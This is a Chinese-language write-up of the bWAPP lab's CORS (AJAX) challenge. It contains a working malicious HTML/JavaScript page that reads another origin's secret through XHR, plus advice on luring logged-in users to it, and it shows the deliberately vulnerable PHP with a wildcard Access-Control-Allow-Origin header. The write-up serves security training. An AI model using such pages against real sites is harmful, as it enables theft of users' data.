这里做下BWAPP靶场的Cross-Origin Resource Sharing (AJAX)的题目。
0x01 Low级 正常用户登录后访问页面,提示尝试从恶意站点去通过Ajax请求来窃取Neo的秘密:
这里用户可以点击“secret”去查看Neo的秘密,并且可看到该页面响应报文的ACAO字段设置为*,但并未设置ACAC字段(想必是避免浏览器最后一道防线吧):
接着,我们可以直接编写我们的CORS跨域漏洞的Exp,因为无ACAC头,即无需带Cookie访问,因此直接将withCredentials那句注释掉就好:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <!DOCTYPE> <html > <h1 > Hello I evil page. </h1 > <script type ="text/javascript" > function loadXMLDoc () { var xhr1; if (window .XMLHttpRequest) { xhr1 = new XMLHttpRequest(); } else { xhr1 = new ActiveXObject("Microsoft.XMLHTTP" ); } xhr1.onreadystatechange=function () { if (xhr1.readyState == 4 && xhr1.status == 200 ) { var datas=xhr1.responseText; alert(datas); } } xhr1.open("GET" ,"http://192.168.17.147/bWAPP/secret-cors-1.php" ,"true" ) xhr1.send(); } loadXMLDoc(); </script > </html >
将其放置在攻击者服务器上,诱使已登录用户访问,然后就能窃取Neo的秘密信息了:
0x02 Medium级 确实是升级了,且给了提示说秘密信息只能让来自intranet.itsecgames.com域名的请求访问:
直接点击“srcret”访问是查看不到秘密信息的,因为此时请求的来源是BWAPP自己的域名而非intranet.itsecgames.com域名:
因此,若想成功访问该页面的秘密信息,我们需要添加Origin头字段并赋值为intranet.itsecgames.com域名:
接着,可能第一时间会想到,在Low级的EXP基础上,添加一条XHR设置请求头字段的语句,如下:
1 xhr1.setRequestHeader("Origin", "http://intranet.itsecgames.com");
然而,这样是行不通的,为啥?——因为XHR请求头并不是什么字段都可以设置的,在W3C标准里面明确规定了以下请求头信息是由浏览器控制的,开发者是不允许设置这些请求头字段的,且不区分大小写 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 Accept-Charset Accept-Encoding Access-Control-Request-Headers Access-Control-Request-Method Connection Content-Length Cookie Cookie2 Date DNT Expect Host Keep-Alive Origin Referer TE Trailer Transfer-Encoding Upgrade User-Agent Via Proxy-xxx Sec-xxx
目前本人想到的解决办法就是注册该域名,这里本地测试就该hosts文件来实现:
然后exp.html和Low级是一模一样的,只是修改了想要窃取数据的页面地址为secret-cors-2.php:
0x03 High级 最后看下High级,提示不信任本地内网区域:
用户是可以直接访问得到秘密信息的,且可以看到并未设置ACAO头字段:
没有ACAO字段,也就是说不允许CORS进行跨域访问了,因此就不存在CORS跨域漏洞了。
0x04 源码分析 最后从代码层面看下吧。
sm_cors.php的关键代码如下,根据不同的级别引用不同的PHP文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 switch ($_COOKIE["security_level" ]){ case "0" : $hero = "Neo" ; $file = "secret-cors-1.php" ; break ; case "1" : $hero = "Wolverine" ; $file = "secret-cors-2.php" ; $hint = "HINT: the secret is only available to requests from intranet.itsecgames.com..." ; break ; case "2" : $hero = "Johnny" ; $file = "secret-cors-3.php" ; $hint = "HINT: never trust local intranet zones!" ; break ; default : $hero = "Neo" ; $file = "secret-cors-1.php" ; break ; }
分别看下几个不同级别的PHP文件。
Low级,secret-cors-1.php,设置ACAO字段值为*且无ACAC字段,允许任何外域访问该页面并无需携带cookie,典型的CORS跨域漏洞:
1 2 3 4 5 <?php header("Content-Type: text/plain" ); header('Access-Control-Allow-Origin: *' ); echo "Neo's secret: Oh why didn't I took that BLACK pill?" ;?>
Medium级,secret-cors-2.php,检查请求头是否存在Origin字段且其值是否为http://intranet.itsecgames.com
,同时设置响应报文头ACAO字段也为该域名:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php header("Content-Type: text/plain" ); if (isset ($_SERVER["HTTP_ORIGIN" ]) and $_SERVER["HTTP_ORIGIN" ] == "http://intranet.itsecgames.com" ){ header("Access-Control-Allow-Origin: http://intranet.itsecgames.com" ); echo "Wolverine's secret: What's a Magneto?" ; } else { echo "This is just a normal page with no secrets :)" ; } ?>
High级,secret-cors-3.php,未设置ACAO头字段,不允许跨域访问该页面,当然就不存在CORS跨域漏洞了:
1 2 3 4 <?php header("Content-Type: text/plain" ); echo "Johnny's secret: I'm the Ghost Rider!" ;?>
小结一下:bWAPP靶场CORS题目并未涉及到带cookie访问,即未设置ACAC字段,可以说是是方便Low级的攻击利用,而在Medium级可自行添加ACAC字段来尝试看下区别,这里就不多说了。